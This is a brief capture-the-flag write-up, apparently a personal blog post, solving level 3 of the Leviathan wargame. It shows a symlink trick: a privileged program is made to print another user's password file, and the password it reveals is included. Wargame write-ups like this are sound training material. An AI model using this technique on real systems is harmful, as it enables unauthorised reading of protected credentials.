Hi,

ready for the challenge number 3 ?

let’s connect to it 


ssh level3@leviathan.intruded.net -p 10101

level3@leviathan.intruded.net's password:
Linux leviathan 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC 2009 i686

level3@leviathan:~$

Let’s directly go to the Wargame folder 

level3@leviathan:~$ cd /wargame/
level3@leviathan:/wargame$ ls
check  level4  printfile  prog  sphinx

let’s try one by one the programs, to see what’s our.

level3@leviathan:/wargame$ ls
check  level4  printfile  prog  sphinx
level3@leviathan:/wargame$ ./level4
-bash: ./level4: Permission denied
level3@leviathan:/wargame$ ./printfile
-bash: ./printfile: Permission denied
level3@leviathan:/wargame$ ./sphinx
-bash: ./sphinx: Permission denied
level3@leviathan:/wargame$ ./prog
Cannot find /tmp/file.log
level3@leviathan:/wargame$

It looks like we have to use ./prog

we have to read /home/level4/.passwd …
and ./prog is reading the file /tmp/file.log and printing the content … so let’s link both 

level3@leviathan:/wargame$ ln -s /home/level4/.passwd /tmp/file.log
level3@leviathan:/wargame$ ./prog
R0gBtSP5
level3@leviathan:/wargame$

Yeah … got it !!

ok, next challenges tomorrow :)
